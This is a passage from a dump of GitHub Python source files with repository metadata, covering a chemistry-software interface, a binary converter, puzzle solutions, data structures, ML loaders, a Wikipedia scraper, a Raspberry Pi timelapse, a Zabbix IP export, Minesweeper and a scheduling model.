self.numcores=numcores\n def cleanup():\n print(\"Sparrow cleanup not yet implemented.\")\n #TODO: Parallelization is enabled most easily by OMP_NUM_THREADS AND MKL_NUM_THREADS. NOt sure if we can control this here\n #NOTE: Should be possible by adding to subprocess call\n\n #Request Hessian calculation. Will call run.\n def Hessian(self, fragment=None, Hessian=None, numcores=None, label=None, charge=None, mult=None):\n #Check charge/mult\n charge,mult = check_charge_mult(charge, mult, self.theorytype, fragment, \"xTBTheory.Opt\", theory=self)\n \n self.run (current_coords=fragment.coords, qm_elems=fragment.elems,\n Grad=True, Hessian=True, numcores=numcores, label=label,\n charge=charge, mult=mult)\n print(\"Hessian:\", self.hessian)\n return self.hessian\n\n # Run function. Takes coords, elems etc. arguments and computes E or E+G.\n def run(self, current_coords=None, current_MM_coords=None, MMcharges=None, qm_elems=None,\n elems=None, Grad=False, Hessian=False, PC=False, numcores=None, restart=False, label=None,\n charge=None, mult=None):\n module_init_time=time.time()\n if numcores == None:\n numcores = self.numcores\n\n print(BC.OKBLUE, BC.BOLD, f\"------------RUNNING {self.theorynamelabel} INTERFACE-------------\", BC.END)\n #Checking if charge and mult has been provided\n if charge == None or mult == None:\n print(BC.FAIL, \"Error. charge and mult has not been defined for SparrowTheory.run method\", BC.END)\n ashexit()\n\n print(\"Job label:\", label)\n\n #Coords provided to run\n if current_coords is not None:\n pass\n else:\n print(\"no current_coords\")\n ashexit()\n\n #What elemlist to use. If qm_elems provided then QM/MM job, otherwise use elems list\n if qm_elems is None:\n if elems is None:\n print(\"No elems provided\")\n ashexit()\n else:\n qm_elems = elems\n\n #Creating Sparrow objects\n #Geometry\n structure = self.su.AtomCollection(len(qm_elems))\n structure.elements = [self.su.ElementType(elematomnumbers[q.lower()]) for q in qm_elems]\n structure.positions = current_coords*ang2bohr\n #Manager\n manager = self.su.core.ModuleManager()\n #Creating Calculator\n self.calculator = manager.get('calculator', self.method)\n self.calculator.structure = structure\n\n #Run energy\n self.calculator.set_required_properties([self.su.Property.Energy])\n print(\"Calculating energy\")\n results_e = self.calculator.calculate()\n self.energy=results_e.energy\n #Run gradient\n if Grad==True:\n print(\"Calculating gradient\")\n self.calculator.set_required_properties([self.su.Property.Gradients])\n results_g = self.calculator.calculate()\n #print(dir(results_g))\n #print(results_g.__dict__)\n self.gradient=results_g.gradients\n\n if Hessian==True:\n self.calculator.set_required_properties([self.su.Property.Hessian])\n print(\"Calculating Hessian\")\n results_h = self.calculator.calculate()\n self.hessian=results_h.hessian\n\n #TODO: write in error handling here\n print(BC.OKBLUE, BC.BOLD, \"------------ENDING Sparrow INTERFACE-------------\", BC.END)\n if Grad == True:\n print(\"Single-point Sparrow energy:\", self.energy)\n print_time_rel(module_init_time, modulename='Sparrow run', moduleindex=2)\n if PC is True:\n return self.energy, self.gradient, self.pcgradient\n else:\n return self.energy, self.gradient\n else:\n print(\"Single-point Sparrow energy:\", self.energy)\n print_time_rel(module_init_time, modulename='Sparrow run', moduleindex=2)\n return self.energy\n","repo_name":"RagnarB83/ash","sub_path":"interfaces/interface_sparrow.py","file_name":"interface_sparrow.py","file_ext":"py","file_size_in_byte":5331,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"31"} +{"seq_id":"22816860515","text":"print('Choose an action:')\nprint('Press 1 to convert decimal to binary')\nprint('Press 2 to convert binary to decimal')\nprint('Press 3 to compare binary numbers')\nprint()\noption= int(input('Which would you like to choose:'))#These are your options that are given too you so make sure to write them\n\ndef dec_to_bin(num):#for option 1 we have to make the first prediction which will convert the decimal number inputted to a binary\n while num!= 0:#inorder to fo that the wuicker way to do this by moddling it to 2 and appending the reaminder ehich will either be 1 or 0\n remainder= num%2#mod the number by 2 to get the remainder as either 0 or 1\n binary_converstion.append(remainder)#append that to the list\n num= num/2#floor divide the number to shrink it and keep going until it hits 0\n\nif option==1:#for the actual option you first start by making an empty list to store the binary digits\n binary_converstion= []\n num= int(input('Enter a decimal number:'))#get input from the user for what number they want to convert\n dec_to_bin(num)#use the decimal to binary functiob made it at start if the program\n binary_converstion.reverse()#in order to make the list come out correct you need to reverse the list \n print(str(num)+' = '+str(binary_converstion))#and print out the final results\n\ndef split(num):#for the second option i made a procedure which will\n while num>0:\n digits.append(num%10)\n num//=10\n\ndef split(num):\n while num>0:\n digits.append(num%10)\n num//=10\n\ndef bin_to_dec(digits):\n sum=0\n for i in range(len(digits)):\n sum=sum+digits[i]*pow(2,i)\n print(str(binary1)+'='+str(sum))\n\nif option==2:\n binary= int(input('Enter the binary number you would like to convert:'))\n binary1= binary \n digits= []\n split(binary)\n bin_to_dec(digits)\n\ndef split1(bin1):\n while bin1>0:\n list1.append(bin1%10)\n bin1//=10\n\ndef split2(bin2):\n while bin2>0:\n list2.append(bin2%10)\n bin2//=10\n\ndef compare(bin1,bin2):\n sum1=0\n sum2=0\n for i in range(len(list1)):\n sum1=sum1+list1[1]*pow(2,i)\n for i in range(len(list2)):\n sum2=sum2+list2[1]*pow(2,i)\n print(str(sum1)+' , '+str(sum2))\n\nif option==3:\n list1=[]\n list2=[]\n bin1 = int(input('Enter a binary Number: '))\n print()\n bin2= int(input('Enter another Binary Number: '))\n split1(bin1)\n split2(bin2)\n\n compare(bin1,bin2)\n print(str(bin1)+' , '+str(bin2))\n ","repo_name":"ANSHSONI12/Binary-Converter","sub_path":"main (1).py","file_name":"main (1).py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3734366357","text":"class Sue:\n def __init__(self, str) -> None:\n import re\n \n spl = str.split(':')\n self.nr = int(spl[0].split(' ')[1])\n \n self.props = {}\n for p in str[len(spl[0])+1:].split(','):\n match = re.match(r'(.+?):\\s(\\d+)', p.strip())\n self.props[match.group(1)] = int(match.group(2))\n \n pass\n \n def __repr__(self) -> str:\n return f'{self.nr} {self.props}'\n\ndef parse(file):\n with open(file, 'r') as f:\n return [Sue(l) for l in f]\n\ndef main():\n scan = {'children': 3, 'cats': 7, 'samoyeds': 2, 'pomeranians': 3, 'akitas': 0, 'vizslas': 0, 'goldfish': 5, 'trees' : 3, 'cars': 2, 'perfumes' : 1}\n \n sues = parse('input.txt')\n \n for sue in sues:\n matches = True\n for p,v in scan.items():\n if p in sue.props and sue.props[p] != v:\n matches = False\n if matches:\n break\n \n print(f'Pt1: {sue.nr}')\n \n for sue in sues:\n matches = True\n for p,v in scan.items():\n if p in ['cats', 'trees'] and p in sue.props:\n if sue.props[p] <= v:\n matches = False\n elif p in ['pomeranians', 'goldfish'] and p in sue.props:\n if sue.props[p] >= v:\n matches = False\n elif p in sue.props and sue.props[p] != v:\n matches = False\n if matches:\n break\n \n print(f'Pt2: {sue.nr}')\n\nif __name__ == '__main__':\n main()\n","repo_name":"joergpichler/AdventOfCode","sub_path":"2015/Day16/Day16.py","file_name":"Day16.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38909457337","text":"class stack():\n \"\"\"a module to impliment data structrue stack\"\"\"\n index = 0\n def __init__(self):\n self.vessel = []\n\n def push(self, a):\n self.vessel.append(a)\n\n def pop(self):\n if not self.is_empty():\n self.vessel.pop()\n\n def top(self):\n if not self.is_empty():\n return self.vessel[-1]\n\n def size(self):\n return len(self.vessel)\n\n def is_empty(self):\n return True if len(self.vessel) == 0 else False\n\n def __iter__(self):\n self.index = self.size()\n return self\n\n def __next__(self):\n if self.index == 0:\n raise StopIteration\n self.index = self.index - 1\n return self.vessel[self.index]\n\nstk = stack()\nstk.push(1)\nstk.push(3)\nstk.push(5)\nstk.push(7)\nstk.push(9)\nstk.push(13)\nprint(list(stk))\nstk.pop()\nprint(list(stk))\nprint(stk.is_empty())\nprint(stk.top())\nstk.pop()\nprint(stk.is_empty())\nprint(list(stk))\nstk.pop()\nstk.pop()\nprint(stk.is_empty())\nprint(list(stk))\nprint(stk.size())\n ","repo_name":"xanarry/source-code","sub_path":"Python/stack类.py","file_name":"stack类.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2087010277","text":"from sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\nfrom sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.model_selection import train_test_split\n\n\nclass BaseClassifier:\n def __init__(self, dataset, params):\n \"\"\"\n :param dataset: pandas.DateFrame\n \"\"\"\n self.clf = self.CLASSIFIER(**params)\n self.accuracy = None\n self.fit_classifier(dataset)\n\n def fit_classifier(self, dataset):\n \"\"\"\n :param dataset: pandas.DateFrame\n \"\"\"\n data = []\n labels = []\n\n for ind, row in dataset.iterrows():\n row_list = row.tolist()\n label = row_list.pop()\n data.append(row_list)\n labels.append(label)\n\n X_train, X_test, y_train, y_test = train_test_split(\n data, labels, test_size=0.2, random_state=0\n )\n\n self.clf.fit(X_train, y_train)\n self.accuracy = self.clf.score(X_test, y_test)\n\n def predict(self, data):\n \"\"\"\n :param data: list\n \"\"\"\n return self.clf.predict(data)\n\n\nclass NBClassifier(BaseClassifier):\n \"\"\"\n Naive Bayes classifier\n \"\"\"\n CLASSIFIER = GaussianNB\n\n\nclass SVCClassifier(BaseClassifier):\n \"\"\"\n SVC Classifier\n \"\"\"\n CLASSIFIER = SVC\n\n\nclass AdaBoostClassifier(BaseClassifier):\n \"\"\"\n AdaBoost Classifier\n \"\"\"\n CLASSIFIER = AdaBoostClassifier\n","repo_name":"GrigoriyMikhalkin/UFCFightPredictor","sub_path":"classifiers/classifiers.py","file_name":"classifiers.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9000781020","text":"import logging\r\nimport indicators as ind\r\nfrom sys import argv\r\n\r\nPORTFOLIO = ['BTC', 'ETH', 'EGLD', 'SOL', 'AVAX']\r\nTIME_FRAMES = ['3m', '5m', '15m', '1h', '4h', '1d', '1w']\r\nargs = argv\r\ndel args[0]\r\n\r\n\r\ndef main():\r\n \"\"\"Main program: Write schedule and instructions here.\"\"\"\r\n # Get data for tickers in the watchlist\r\n asset_list = get_watchlist_data(PORTFOLIO)\r\n asset_objects = []\r\n\r\n # Scan charts for trades\r\n for crypto in asset_list:\r\n asset_obj = ind.Asset(crypto)\r\n asset_objects.append(asset_obj)\r\n\r\n\r\ndef test():\r\n \"\"\"For testing functions without needing to change the main program.\"\"\"\r\n # Write test functions here and change the last line of this page from main() to test()\r\n\r\n\r\ndef get_watchlist_data(watchlist):\r\n \"\"\"Pass in a list of ticker symbols to generate a list of crypto objects.\"\"\"\r\n\r\n asset_list = []\r\n\r\n # Loop through watch list and instantiate new asset objects from watchlist symbols.\r\n logging.info('Building objects from assets in watchlist...')\r\n for crypto in watchlist:\r\n obj = ind.Asset(crypto)\r\n asset_list.append(obj)\r\n return asset_list\r\n\r\n\r\nif __name__ == \"__main__\":\r\n if len(args) > 0:\r\n if args[0].lower() == 'monitor':\r\n if len(args) < 4:\r\n raise Exception(\"Missing arguments: ticker, upper limit, or lower limit.\")\r\n elif args[1].lower() == 'help':\r\n print('Pass ticker name, upper limit, and lower limit as arguments. Such as ETH 1000 1200')\r\n else:\r\n asset = args[1]\r\n upper = args[2]\r\n lower = args[3]\r\n ind.monitor(asset=asset, upper_limit=upper, lower_limit=lower)\r\n else:\r\n main()\r\n","repo_name":"MadLadD-Pad/Crypto-Trade","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"16000583353","text":"import os\r\nimport random\r\nimport pickle\r\nfrom lib.data_helper.data_utils import * # from .data_utils import *\r\nimport torchvision.transforms as transforms\r\n\r\n\r\nclass Data_loader(torch.utils.data.Dataset):\r\n def __init__(self, cfg, is_train):\r\n\r\n self.is_train = is_train\r\n\r\n # load split List\r\n list_name = 'defect_split_list.pkl' \\\r\n if cfg.TRAIN.TRAIN_MODEL == 'SegNet' \\\r\n else 'split_list.pkl'\r\n\r\n with open(os.path.join(cfg.DATASET.ROOT, list_name), 'rb') as f:\r\n train_list, val_list = pickle.load(f)\r\n self.data_list = train_list if is_train else val_list\r\n\r\n # mean_std\r\n self.mean, self.std = mean_std(self, cfg, is_train)\r\n\r\n def __getitem__(self, index):\r\n image_path = self.data_list['img'][index]\r\n label_path = self.data_list['label'][index]\r\n\r\n # Load data\r\n w, h = cfg.DATASET.IMG_RESIZE[0], cfg.DATASET.IMG_RESIZE[1]\r\n image = load_image(image_path, resize=[h, w])\r\n target = load_image(label_path, is_norm=False, resize=[h, w])\r\n\r\n if self.is_train:\r\n # Flip\r\n if cfg.TRAIN.IS_FLIP and random.random() > cfg.TRAIN.FLIP_PROB:\r\n td_flip_prob = random.random()\r\n image = image[::-1, :] if td_flip_prob > .5 else image[:, ::-1]\r\n target = target[::-1, :] if td_flip_prob > .5 else target[:, ::-1]\r\n\r\n # Dilation\r\n if cfg.TRAIN.IS_DILATE and random.random() > cfg.TRAIN.DILATE_PROB:\r\n ks = random.randint(3, 15)\r\n target = cv2.dilate(target, kernel=np.ones((ks, ks), np.uint8))\r\n\r\n # Lable_process\r\n target_pixel, label = label_process(target)\r\n target_pixel = target_pixel.squeeze()\r\n label = np.asarray([label])\r\n\r\n # dtype\r\n image, target_pixel, label = np.float32(image), np.float32(target_pixel), np.float32(label)\r\n\r\n # transform\r\n normalize = transforms.Normalize(mean=self.mean.numpy().tolist(),\r\n std=self.std.numpy().tolist())\r\n trans = transforms.Compose([transforms.ToTensor(), normalize])\r\n image = trans(image)\r\n\r\n return image, target_pixel, label, [image_path, label_path]\r\n\r\n def __len__(self):\r\n return len(self.data_list['img'])\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n import matplotlib.pyplot as plt\r\n\r\n # DataLoader\r\n train_loader = torch.utils.data.DataLoader(\r\n Data_loader(cfg, is_train=True),\r\n batch_size=5, shuffle=False,\r\n num_workers=0, pin_memory=False)\r\n\r\n\r\n for i, (image, label_pixel, label, info) in enumerate(train_loader):\r\n\r\n label_pixel = label_pixel.detach().to('cpu').numpy()\r\n image = image.detach().to('cpu').numpy()\r\n\r\n if i == 0:\r\n break\r\n\r\n # Plot\r\n plt.figure(0)\r\n plt.imshow(label_pixel[0])\r\n plt.figure(1)\r\n plt.imshow(image[0][0])\r\n","repo_name":"shengode503/Segmentation-Based-Deep-Learning-Approach-for-Surface-Defect-Detection-Pytorch","sub_path":"lib/data_helper/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":2954,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"31"} +{"seq_id":"71054459609","text":"from node import Node\nfrom tree import Tree\nfrom heap_node import HeapNode\nfrom code_builder import CodeBuilder\nfrom text_swap import TextSwap\nfrom huffman_decoder import HuffmanDecoder\n\n\nclass HuffmanEncoder:\n @staticmethod\n def create_tree(sentence):\n letter_count = HuffmanEncoder.__get_letter_count(sentence)\n nodes = []\n\n for letter, count in letter_count.items():\n node = Node(letter, count, None, None)\n nodes.append(node)\n\n array_of_nodes = HeapNode.build_min_heap(nodes)\n return Tree(array_of_nodes)\n\n @staticmethod\n def create_code_array(tree):\n code_array = {}\n CodeBuilder.create_code_array(code_array, tree.roots, \"\")\n return code_array\n\n @staticmethod\n def encode_text(sentence, code_array):\n return TextSwap.swap(sentence, code_array)\n\n @staticmethod\n def decode_text(encoded_text, tree):\n return HuffmanDecoder.decode(encoded_text, tree.roots)\n\n @staticmethod\n def __get_letter_count(text):\n letter_count = {}\n for letter in text:\n letter_count[letter] = letter_count.get(letter, 0) + 1\n return letter_count\n\n @staticmethod\n def process_text(sentence):\n tree = HuffmanEncoder.create_tree(sentence)\n code_array = HuffmanEncoder.create_code_array(tree)\n encoded_text = HuffmanEncoder.encode_text(sentence, code_array)\n decoded_text = HuffmanEncoder.decode_text(encoded_text, tree)\n\n return encoded_text, decoded_text, code_array","repo_name":"s24399-pj/ASD_huffman_encoding","sub_path":"huffman_encoder.py","file_name":"huffman_encoder.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"69975551447","text":"from random import randint\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport time\nimport sys\nimport threading\nimport requests\nimport queue\nimport re\nimport json\nimport pymongo\n\n\nclient = pymongo.MongoClient('mongodb://localhost:27017/')\ndatabase = client.get_database('network_analisys')\ncolection_papa = database.get_collection('papa_network')\ncolection_visited = database.get_collection('visited_links')\nqueue_links = queue.Queue()\nproxies = json.load(open('proxies.json'))\n\n#Get links of https://pt.wikipedia.org/wiki/Papa_Francisco\nheaders = {\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'accept-encoding': 'gzip, deflate, br',\n 'accept-language': 'pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',\n 'upgrade-insecure-requests': '1',\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36'\n}\nr_inicial = requests.get(\n 'https://pt.wikipedia.org/wiki/Papa_Francisco', \n headers=headers)\n\nresponse_raw = re.search(r'mw-content-text.*?catlinks', r_inicial.text, flags=re.DOTALL).group()\nregex_links = re.findall(\n r'[^\"]+)\">[^<]+
',\n response_raw, flags=re.DOTALL|re.IGNORECASE\n)\n\nfor link in regex_links:\n regex = r'papa|clero|cardea|roma|são|credo|culto|vaticano|bispo'\n if re.search(regex, link, flags=re.IGNORECASE) is not None:\n queue_links.put({'Link': link, 'Layer': 1}) \n colection_papa.update(\n {'LinkOne': 'Papa Francisco', 'LinkTwo': link}, \n {'$set': {'LinkOne': 'Papa Francisco', 'LinkTwo': link}}, \n upsert=True\n )\n \nprint('Links encontrados - ', queue_links.qsize())\ndef get_links(colection_papa, colection_visited, proxie_dic): \n headers = {\n 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'accept-encoding': 'gzip, deflate, br',\n 'accept-language': 'pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7',\n 'upgrade-insecure-requests': '1',\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36'\n }\n \n while not queue_links.empty():\n obj = queue_links.get() \n print('Tamanho da pilha:', queue_links.qsize()) \n link_dad = obj['Link']\n layer = obj['Layer']\n print(f'Salvando dados do link {link_dad} - Layer: {layer}')\n url = 'https://pt.wikipedia.org/wiki/' + link_dad.replace(' ', '_') \n try:\n r_inicial = requests.get(\n url, proxies=proxie_dic,\n headers=headers\n )\n\n colection_visited.update(\n {'Link': link_dad}, \n {'$set': {'Link': link_dad}}, \n upsert=True\n )\n\n response_raw = re.search(r'mw-content-text.*?catlinks', r_inicial.text, flags=re.DOTALL).group()\n regex_links = re.findall(\n r'[^\"]+)\">[^<]+',\n response_raw, flags=re.DOTALL|re.IGNORECASE\n )\n for link in regex_links:\n regex = r'papa|clero|cardea|roma|são|credo|culto|vaticano|bispo' \n \n if re.search(regex, link, flags=re.IGNORECASE) is not None:\n colection_papa.update(\n {'LinkOne': link_dad, 'LinkTwo': link}, \n {'$set': {'LinkOne': link_dad, 'LinkTwo': link}}, \n upsert=True\n )\n visited_link = colection_visited.find_one({'Link': link})\n if visited_link is None and layer < 3:\n queue_links.put({'Link': link, 'Layer': layer+1}) \n \n except Exception:\n pass\n \n queue_links.task_done() \n \n\nprint(len(proxies), 'proxies encontrados')\nfor proxie in proxies:\n proxie_dic = {\n 'https': f'http://{proxie[\"ip\"]}:{proxie[\"porta\"]}'\n }\n\n print(f'Iniciando Thread {proxie[\"ip\"]}..')\n process_thread = threading.Thread(target=get_links, args=(colection_papa, colection_visited, proxie_dic))\n process_thread.daemon = True\n process_thread.start()\n\nqueue_links.join()\nclient.close()\nprint('Links concluidos !!!')\n\n# digraph = nx.DiGraph()\n# print('Número de edges', digraph.number_of_edges())\n\n# dioriginal = digraph.copy()\n# digraph.remove_edges_from(nx.selfloop_edges(digraph))\n\n# # filter nodes with degree greater than or equal to 2\n# core = [node for node, deg in dict(digraph.degree()).items() if deg >= 2]\n\n# # select a subgraph with 'core' nodes\n# gsub = nx.subgraph(digraph, core)\n\n# print(\"{} nodes, {} edges\".format(len(gsub), nx.number_of_edges(gsub)))\n\n# nx.write_graphml(gsub, \"papas.graphml\")\n\nsys.exit()","repo_name":"joseluan/network_analysis_papa","sub_path":"generate_graph.py","file_name":"generate_graph.py","file_ext":"py","file_size_in_byte":5086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1592550702","text":"import logging\nfrom flask import Flask\nfrom flask_socketio import SocketIO\n\nfrom setting import AppConfig\nfrom setting.const import SOCKET_PATH\nfrom logging.handlers import RotatingFileHandler\n\n\nsocketIO = SocketIO()\n\n\ndef log_config(cfg=\"dev\"):\n \"\"\"\n :param cfg: configuration name\n :param app: application\n :return: log app\n \"\"\"\n logger = logging.getLogger(\"app\")\n handler = RotatingFileHandler(\"log/app.log\", maxBytes=1024 * 1024 * 10, backupCount=10, encoding=\"utf-8\")\n cfg_obj = AppConfig.get(cfg).LOG_LEVEL if cfg in AppConfig else AppConfig.get(\"dev\").LOG_LEVEL\n handler.setLevel(cfg_obj)\n fmt = logging.Formatter(\"%(levelname)s: [%(asctime)s][%(pathname)s][%(funcName)s] %(lineno)s {%(message)s}\")\n handler.setFormatter(fmt)\n logger.addHandler(handler)\n return logger\n\n\ndef create_app(cfg=\"dev\"):\n \"\"\"\n create application\n :param cfg: configuration name\n :return: application\n \"\"\"\n app = Flask(__name__)\n cf_obj = AppConfig.get(cfg) if cfg in AppConfig else AppConfig.get(\"dev\")\n app.config.from_object(cf_obj)\n socketIO.init_app(app, path=SOCKET_PATH)\n app.logger = log_config(cfg)\n print(f\"\\n{'*'*100}\\ncreate app success\\nuse configuration {cf_obj.__name__}\")\n\n # 注册蓝图\n from application.index import index\n from application.file import files\n from application.socket import terminal\n\n app.register_blueprint(files)\n app.register_blueprint(index)\n app.register_blueprint(terminal)\n return app\n\n\n","repo_name":"pkxiao/terminal","sub_path":"application/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23817214940","text":"''' Captures images by buttonpress.\nThe images is to be used in a timelapse\n'''\n\nimport time\nfrom time import gmtime, strftime\nimport datetime\nimport picamera\nimport RPi.GPIO as GPIO # Import Raspberry Pi GPIO library\nimport cv2\n\nnframes = 18\nncaptured = 0\ninterval = 300 # Seconds\noutput = strftime('/media/pi/USB DISK/timelapse/buttontest/img-%d-%m %H:%M.jpg', gmtime())\nfolder = '/media/pi/USB DISK/timelapse/buttontest2/'\ndate = datetime.datetime.now().strftime(\"%d_%m_%Y_%H_%M_%S\")\n\n\ndef button_callback(channel):\n camera.capture(folder + datetime.datetime.now().strftime(\"%d_%m_%Y_%H_%M_%S\") + \".jpg\")\n print(\"Captured img:\" + folder + datetime.datetime.now().strftime(\"%d_%m_%Y_%H_%M_%S\") + \".jpg\")\n\n\nGPIO.setwarnings(False) # Ignore warning for now\nGPIO.setmode(GPIO.BOARD) # Use physical pin numbering\nGPIO.setup(16, GPIO.IN,\n pull_up_down=GPIO.PUD_DOWN) # Set pin 10 to be an input pin and set initial value to be pulled low (off)\n\nGPIO.add_event_detect(16, GPIO.RISING, callback=button_callback, bouncetime=3000) # Setup event on pin 10 rising edge\n\nprint(\"Running...\")\n\nwith picamera.PiCamera() as camera:\n camera.resolution = (2592, 1944)\n camera.awb_mode = 'incandescent'\n camera.shutter_speed = 8000\n camera.iso = 100\n camera.framerate = 10\n camera.start_preview(resolution=(1440, 1080))\n time.sleep(2)\n\n while True:\n time.sleep(1)\n\ncamera.stop_preview()\nGPIO.cleanup() # Clean up\n","repo_name":"vemiz/devproj","sub_path":"timelapse.py","file_name":"timelapse.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38204612782","text":"import random\n\ndef wypisz_macierz(matrix):\n print(\" \", end=\" \")\n for column in range(len(matrix[0])):\n if column < 10:\n print(column, end=\" \")\n else:\n print(chr(ord(\"A\")+column-10), end=\" \")\n print()\n\n for row in range(len(matrix)):\n if row < 10:\n print(row, end=\" \")\n else:\n print(chr(ord(\"A\")+row-10), end=\" \")\n for column in range(len(matrix[row])):\n print(f\"{matrix[row][column]}\", end=\" \")\n print()\n print()\n\ndef losuj_miny(plansza, liczba_min):\n b=liczba_min\n for i in range(b):\n x=random.randint(0,9)\n y=random.randint(0,14)\n if plansza[x][y]==0:\n plansza[x][y]=9\n elif plansza[x][y]==9:\n x=random.randint(0,9)\n y=random.randint(0,14)\n if plansza[x][y]==0:\n plansza[x][y]=9\n else: b+=1\n return plansza\n\ndef wypisz_macierz_cenzura(plansza, cenzura,C):\n for w in range(len(plansza)):\n for k in range(len(plansza[0])):\n if cenzura[w][k]==True:\n C[w][k]=plansza[w][k]\n elif cenzura[w][k]==False: \n C[w][k]='*' \n wypisz_macierz(C)\n\ndef odkryj_pole(plansza, cenzura, wiersz, kolumna):\n if wiersz>len(plansza):\n return False\n if kolumna>len(plansza[0]):\n return False\n if plansza[wiersz][kolumna]==9:\n return False\n elif plansza[wiersz][kolumna]!=9:\n cenzura[wiersz][kolumna]=True\n return True\n\ndef numery_przy_minach(plansza):\n for w in range(len(plansza)):\n for k in range(len(plansza[0])):\n if plansza[w][k]!=9 and (w>0 and k>0) and (w<9 and k<14):\n if plansza[w-1][k]==9:\n plansza[w][k]+=1\n if plansza[w-1][k-1]==9:\n plansza[w][k]+=1\n if plansza[w][k-1]==9:\n plansza[w][k]+=1\n if plansza[w+1][k]==9:\n plansza[w][k]+=1\n if plansza[w+1][k+1]==9:\n plansza[w][k]+=1\n if plansza[w][k+1]==9:\n plansza[w][k]+=1\n if plansza[w][k]!=9 and w==0:\n if plansza[w-1][k]==9:\n plansza[w][k]+=1\n if plansza[w][k]==9:\n plansza[w-1][k+1]+=1\n if plansza[w+1][k]==9:\n plansza[w][k]+=1\n return plansza\n\n\ndef main():\n plansza = [[0]*15 for i in range(10)]\n cenzura = [[False]*15 for i in range(10)]\n C=[[0]*15 for i in range(10)]\n n=len(plansza)\n m=len(plansza[0])\n\n plansza=losuj_miny(plansza, liczba_min=15)\n wypisz_macierz(plansza)\n wypisz_macierz_cenzura(plansza,cenzura,C)\n plansza=numery_przy_minach(plansza)\n wypisz_macierz(plansza)\n\n for i in range(5):\n wiersz=int(input('wczytaj wiersz'))\n kolumna=int(input('wczytaj kolumne'))\n if odkryj_pole(plansza, cenzura, wiersz, kolumna)==False:\n print('przegrałeś!')\n return 0\n elif odkryj_pole(plansza, cenzura, wiersz, kolumna)==True:\n wypisz_macierz_cenzura(plansza,cenzura,C) \n continue\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"poglodjan/Python_experience","sub_path":"listy/saper.py","file_name":"saper.py","file_ext":"py","file_size_in_byte":3255,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7080059071","text":"#本脚本需与zabbix_base.py脚本放在统一目录下\n#本脚本提取zabbix内所有设备IP,然后写入文件\nimport zabbix_base\ntoken = zabbix_base.get_token()\ndata = {\n \"jsonrpc\": \"2.0\",\n \"method\": \"host.get\",\n \"params\": {\n \"output\": [\n \"host\",\n ],\n \"selectInterfaces\": [\n \"ip\",\n ]\n },\n \"auth\": token,\n \"id\": 0\n}\nresult = zabbix_base.zabbix_api_common(data)\nprint(len(result[\"result\"]))\nwith open('zabbix_ip.txt','a+') as ip_out:\n for ip_number in range(len(result[\"result\"])):\n ip_out.write(result[\"result\"][ip_number]['interfaces'][0]['ip'] + ' ' + result[\"result\"][ip_number]['host'] + '\\n')\n ip_out.flush()\n ip_out.close()\n","repo_name":"zsx0728/Python","sub_path":"api/zabbix_ip.py","file_name":"zabbix_ip.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18338163852","text":"from mip import Model, xsum, BINARY, CONTINUOUS, minimize\nfrom utils.task_utils import *\nfrom utils.operator_utils import *\nfrom Modules.dataImporter import get_compatible_tasks_groups_df, get_task_types_df\nfrom utils.date_utils import get_days_in_current_month, get_days_in_week_in_current_month\nfrom utils.date_utils import FIRST_DAY_OF_THE_MONTH_IS_SATURDAY\nfrom constants import *\nimport math\nimport numpy as np\n\n\ndef init_constraints(tasks_df, operators_df):\n shifts_model = Model()\n\n operators = [row for row in operators_df.iterrows()]\n tasks = [row for row in tasks_df.iterrows()]\n compatible_groups = [group for group in get_compatible_tasks_groups_df().iterrows()]\n task_types = [task_type for task_type in get_task_types_df().iterrows()]\n\n x_mat = add_vars(shifts_model, operators, tasks)\n s_weekly_capacity = add_weekly_capacity_slack_vars(shifts_model, operators)\n s_parallel_tasks_groups = add_parallel_tasks_group_slack_vars(shifts_model, operators, compatible_groups)\n s_variety = add_variety_slack_vars(shifts_model, operators)\n s_working_days = add_working_days_slack_vars(shifts_model, operators)\n shifts_model.objective = minimize(\n 